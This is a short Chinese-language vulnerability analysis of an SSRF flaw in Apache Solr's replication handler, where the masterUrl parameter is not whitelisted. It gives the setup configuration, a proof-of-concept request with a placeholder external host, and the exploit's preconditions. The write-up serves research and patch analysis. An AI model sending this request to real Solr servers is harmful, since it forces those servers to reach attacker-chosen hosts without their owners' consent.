漏洞分析
根据补丁以及漏洞描述可以确定 bug 出在当进行 replication 操作时对传入的 masterUrl 参数 Solr 未对其做白名单过滤导致,补丁则是增加了对该参数的过滤。
构造PoC过程中主要参考文档:
https://solr.apache.org/guide/6_6/index-replication.html
这里基本已经说明什么情况下才需要传masterUrl了
然后根据command=fetchindex和masterUrl就可以得到PoC的格式
http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://xxx
紧急分析出PoC后又看了下这里的功能是在干嘛,solr 支持配置两个core,分别是主(master)和从(slave),我们可以主动控制让从(slave)去获取主的备份,而master的地址在配置文件可以配置,也允许请求者指定。
根据文档要复现这个漏洞需要将本地的Solr作为slave,默认solr就有多个core,这里选定任意一个db
根据路径修改它的solrconfig.xml(配置文件),添加如下代码:
<requestHandler name="/replication" class="solr.ReplicationHandler" >
<lst name="slave">
<str name="masterUrl">http://localhost/solr/db</str>
<str name="pollInterval">00:00:20</str>
</lst>
</requestHandler>
因为PoC 会传入masterUrl,所以这里masterUrl就随便写的。PoC:
http://127.0.0.1:8983/solr/db/replication\?command=fetchindex\&masterUrl=http://xxxx:9999
复现结果:
限制
所以这个漏洞的限制条件也就显而易见了:
1、Solr 必须配置主从模式
2、受影响的是从(slave)服务器